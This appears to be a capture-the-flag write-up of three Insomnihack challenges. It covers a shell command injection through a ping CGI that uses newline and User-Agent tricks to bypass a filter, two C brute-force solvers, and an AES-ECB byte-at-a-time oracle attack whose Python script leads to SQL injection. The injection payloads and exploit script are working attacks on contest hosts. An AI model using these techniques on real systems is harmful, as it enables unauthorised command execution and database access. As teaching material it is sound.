smartcat2
As we saw in smartcat1, http://smartcat.insomnihack.ch/cgi-bin/index.cgi lets us submit a string which is executed as a shell command, prefixed by ping -c 1
(with a space at the end). The string we can inject can't contain horizontal spaces or any of $;&|({`
but can contain newlines. We're told that this time the flag is in /home/smartcat
. We can get the command's output on stdout, but not its output on stderr. We only get the command's output if it succeeds, but that's easily arranged by adding true
as the last command.
Let's explore the /home/smartcat
directory.
wget -O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi --post-data=$'dest=127.0.0.1\nHOME=/home/smartcat\ncd\nls'
There are two files, flag2
and readflag
. Unfortunately neither cat<flag2
nor ./readflag<flag2
succeed. But we can read readflag
(it's a binary so I use base64 to make it easy to go through layers of escaping):
wget -O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi --post-data=$'dest=127.0.0.1\nHOME=/home/smartcat\ncd\nbase64<readflag'
There are intersting strings in that program:
Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.
So how can we execute arbitrary code? Pipes are forbidden but not redirection, so we can use sh</path/to/file
, if we're able to get arbitrary shell code into a file. A bit of experimenting shows that we can read and write files in /tmp
. How do we get the desired file content, without using any command that takes a command line argument? The env
command! It lets us write arbitrary code into a file by defining an environment variable whose value contains newline; the code is in the middle of some garbage doesn't prevent running the script. And we can inject an environment variable: HTTP_USER_AGENT
.
wget -U $'ignored; { echo Give me a...; sleep 2; echo ... flag\!; } | /home/smartcat/readflag' \
-O - http://smartcat.insomnihack.ch/cgi-bin/index.cgi \
--post-data=$'dest=127.0.0.1\nenv>/tmp/D25Tm1Tx.sh\nsh</tmp/D25Tm1Tx.sh\ntrue'`
Bring the noise
Step 1: we get a challenge consisting of 5 random hex digits. We need to reply with a string string whose MD5 in hex starts with those 5 digits.
#include <stdlib.h>
#include <stdio.h>
#include <tomcrypt.h>
static void calculate_md5(unsigned char *result, unsigned char *input, size_t length)
{
hash_state state;
md5_init(&state);
md5_process(&state, input, length);
md5_done(&state, result);
}
static void search_md5(unsigned challenge, char *response)
{
unsigned char md5[16];
response[4] = 0;
for (response[0] = '!'; response[0] <= '~'; response[0]++) {
for (response[1] = '!'; response[1] <= '~'; response[1]++) {
for (response[2] = '!'; response[2] <= '~'; response[2]++) {
for (response[3] = '!'; response[3] <= '~'; response[3]++) {
calculate_md5(md5, (unsigned char*)response, 4);
if (md5[0] == challenge >> 12 &&
md5[1] == (challenge >> 4 & 0xff) &&
(md5[2] >> 4) == (challenge & 0xf)) {
return;
}
}
}
}
}
}
int main()
{
unsigned md5_challenge;
char md5_response[10];
if (!scanf("Challenge = %x\n", &md5_challenge)) {
perror("read challenge");
exit(1);
}
search_md5(md5_challenge, md5_response);
puts(md5_response);
return 0;
}
Step 2 uses the following Python function:
def learn_with_vibrations():
q, n, eqs = 8, 6, 40
solution = [randint(q) for i in range(n)]
equations = []
for i in range(eqs):
coefs = [randint(q) for i in range(n)]
result = sum([solution[i]*coefs[i] for i in range(n)]) % q
vibration = randint(3) - 1
result = (result + q + vibration) % q
equations.append('%s, %d' % (str(coefs)[1:-1], result))
return equations, solution
solution
is a list of 6 random integers in the range 0–7. We get 40 equations of the form sum(c[i] * solution[i]) = r
where r
is the result of the summation mod 8 with a random “vibration” that can cause a difference of -1, 0 or +1. We need to find the solution. There are only 220 potential solutions so we can just try them all by brute force.
#include <stdlib.h>
#include <stdio.h>
#define NUM_EQUATIONS 40
#define NUM_VARIABLES 6
struct equation {
unsigned char coefs[NUM_VARIABLES];
unsigned char result;
};
static void read_equation(struct equation *eq)
{
unsigned i;
if (!scanf("%c, %c, %c, %c, %c, %c, %c\n",
&eq->coefs[0], &eq->coefs[1], &eq->coefs[2],
&eq->coefs[3], &eq->coefs[4], &eq->coefs[5],
&eq->result)) {
perror("read equation");
exit(1);
}
for (i = 0; i < NUM_VARIABLES; i++) {
eq->coefs[i] &= 0x7;
}
eq->result &= 0x7;
}
static int try(struct equation *equations, unsigned char *solution)
{
unsigned i, j;
for (j = 0; j < NUM_EQUATIONS; j++) {
unsigned sum = 0;
for (i = 0; i < NUM_VARIABLES; i++) {
sum += equations[j].coefs[i] * solution[i];
}
if ((sum + (9 - equations[j].result)) % 8 > 2) {
return 0;
}
}
return 1;
}
static void solve_equations(struct equation *equations, unsigned char *solution)
{
for (solution[0] = 0; solution[0] <= 7; solution[0]++) {
for (solution[1] = 0; solution[1] <= 7; solution[1]++) {
for (solution[2] = 0; solution[2] <= 7; solution[2]++) {
for (solution[3] = 0; solution[3] <= 7; solution[3]++) {
for (solution[4] = 0; solution[4] <= 7; solution[4]++) {
for (solution[5] = 0; solution[5] <= 7; solution[5]++) {
if (try(equations, solution)) {
return;
}
}
}
}
}
}
}
}
int main()
{
struct equation equations[NUM_EQUATIONS];
unsigned j;
for (j = 0; j < NUM_EQUATIONS; j++) {
read_equation(&equations[j]);
}
unsigned char solution[NUM_VARIABLES];
solve_equations(equations, solution);
printf("%d, %d, %d, %d, %d, %d\n",
solution[0], solution[1], solution[2],
solution[3], solution[4], solution[5]);
return 0;
}
Fridginator 10k
Searching for food redirects to an interesting-looking URL, e.g. /search/67d4b8f78c33d07cbdc7293b9cd93b8f37231e5001982893f5c3a6494d14bbba/
for an empty query string. A bit of experimentation shows that the hex string consists of a variable number of 16-byte blocks (represented as 32 hex digits each), and changing one byte of the query leads to changing one block:
query length blocks last block constant
0-9 2 yes
9-12 2 no
13-25 3 yes
26-28 3 no
29-41 4 yes
42-44 4 no
I started with the following shell script. Later I used the show
command of the Python script below.
#!/bin/bash
# TODO: escape special characters properly
for x do
curl -s -b cookies.txt -D - http://fridge.insomnihack.ch/food/ \
-d 'csrfmiddlewaretoken=0j12lGgcA3nXrbXfK5FOaeRUUZZlN56w&submit=Search&term='"$x" |
sed -n -e "s~^Location: /search/~~" -e T -e "s~/\\r\$~ $x~" -e p
done
If we repeat a 16-byte string in the query, except for the first few and first last bytes, we get a repeated block. This very strongly suggests that those bytes are the result of encrypting a string containing the query with AES-ECB, i.e. the plaintext is prefix + query + suffix
. On a 10-byte query for food, changing any of the first 9 bytes affects the first output block, while changing the 10th affects the second block, so the constant prefix must be 7 bytes long. The length of the suffix depends on the padding mode; assuming PKCS#7 padding, where the padding is 1–16 bytes, the suffix is 12 bytes long. The search for users is similar, with the same prefix but a different suffix of length 10.
If we arrange for the suffix to be aligned so that its only last byte is in the last block, there are only 256 possible plaintexts for that last block. Given that the encryption of a block in ECB depends only on its plaintext, we can try all possible 256 blocks consisting of one byte plus its PKCS#7 padding. One of these blocks will match the last block, telling us what the last byte is. Then we can repeat the query with the last two bytes of the suffix in the last block, using the known last byte and varying the next-to-last byte, and so on until we have the whole suffix. The command find_suffixes
of the Python script below does this job. The suffix turns out to be |type=object
for food and |type=user
for users.
This technique won't work to find the prefix. But we can verify guesses by submitting a query like aaaaaaaaa1234567aaaaaaaaa
where 1234567
. The prefix turns out to be my first guess: search=
.
In a last exploit of ECB, we can now find the ciphertext for an arbitrary search operation. Just find the relocation URL for aaaaaaaaa + pkcs7_pad(string) + sss
and discard the first and last blocks. This enables us to craft queries that don't match the expected format, which will hopefully prove useful. The Python script below packs that into the search
command.
$ ./search.py search "search=|type=bobby'tables"
…
<div class="panel-body">
Something went horribly wrong, what are you doing to me??
<p> Error : unrecognized token: "'tables WHERE description LIKE ?" </p>
</div>
SQL injection is go! I now turn to Benoit Esnard to explore the database.
#!/usr/bin/env python
import cookielib, httplib, re, requests, sys, urllib, urllib2
def escape_control(string):
return re.sub('[\000- \177\\\\]',
lambda m: '\\x%02x' % ord(m.group(0)),
string, len(string))
cookie_jar = None
cookie_dict = None
def load_cookies(cookie_file='cookies.txt'):
global cookie_jar, cookie_dict
if cookie_jar != None: return
cookie_jar = cookielib.MozillaCookieJar(cookie_file)
cookie_jar.load()
cookie_dict = requests.utils.dict_from_cookiejar(cookie_jar)
class NoRedirectHTTPErrorProcessor(urllib2.HTTPErrorProcessor):
def http_response(self, request, response):
return response
def get_relocation(type, query):
load_cookies()
opener = urllib2.build_opener(NoRedirectHTTPErrorProcessor,
urllib2.HTTPCookieProcessor(cookie_jar))
url = 'http://fridge.insomnihack.ch/' + type + '/'
data = {'csrfmiddlewaretoken': cookie_dict['csrftoken'],
'term': query,
'submit': 'Search'}
response = opener.open(url, urllib.urlencode(data))
relocation_url = response.headers.getheader('Location')
ciphertext = re.sub(r'.*/', '', (re.sub(r'/$', '', relocation_url)))
return ciphertext
def pkcs7_pad(s):
n = 16 - len(s) % 16
if n == 0: n = 16
return s + chr(n) * n
def split32(text):
return [text[i:i+32] for i in xrange(0, len(text), 32)]
def show_redirect(type, queries):
for query in queries:
ciphertext = get_relocation(type, query)
print ' '.join(split32(ciphertext)), escape_control(query)
def find_suffix(type, length):
known = ''
for n in range(1, length+1):
# Arrange to have n characters of the suffix in the last block
query = ''.join(['ppppppppp'] +
[pkcs7_pad('' + chr(c) + known)
for c in range(32,127)] +
[ 's' * (n+16-length)])
ciphertext = get_relocation(type, query)
# Block 0 is the prefix plus 'ppppppppp'.
# Blocks 1 through 95 are the ASCII characters.
# Block 96 is 's'*(n+4) plus the beginning of the suffix.
# Block 97 is the last unknown character of the suffix plus the
# known part of the suffix plus padding.
blocks = split32(ciphertext)
for b in range(1, len(blocks)-1):
if blocks[b] == blocks[-1]:
known = chr(32+b-1) + known
break
else:
raise Exception, 'Cannot find character of suffix before '+ known
return known
def encrypt(string):
query = 'ppppppppp' + pkcs7_pad(string) + 'sss'
return get_relocation('food', query)[32:-32]
def hit_search(parameter_string):
url = 'http://fridge.insomnihack.ch/search/' + encrypt(parameter_string) + '/'
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
response = opener.open(url)
return response.read()
if __name__ == '__main__':
if sys.argv[1] == 'show':
show_redirect(sys.argv[2], sys.argv[3:])
elif sys.argv[1] == 'suffixes':
print repr(find_suffix('food', 12))
print repr(find_suffix('users', 10))
elif sys.argv[1] == 'encrypt':
for s in sys.argv[2:]:
print encrypt(s)
elif sys.argv[1] == 'search':
print hit_search(sys.argv[2])
else:
sys.stderr.write('''Usage: search.py COMMAND [ARGUMENT...]
show food|users QUERY... Show encrypted redirection of search
suffixes Find /search query suffixes
encrypt Show the encryption of a string (plus padding)
''')
exit(120)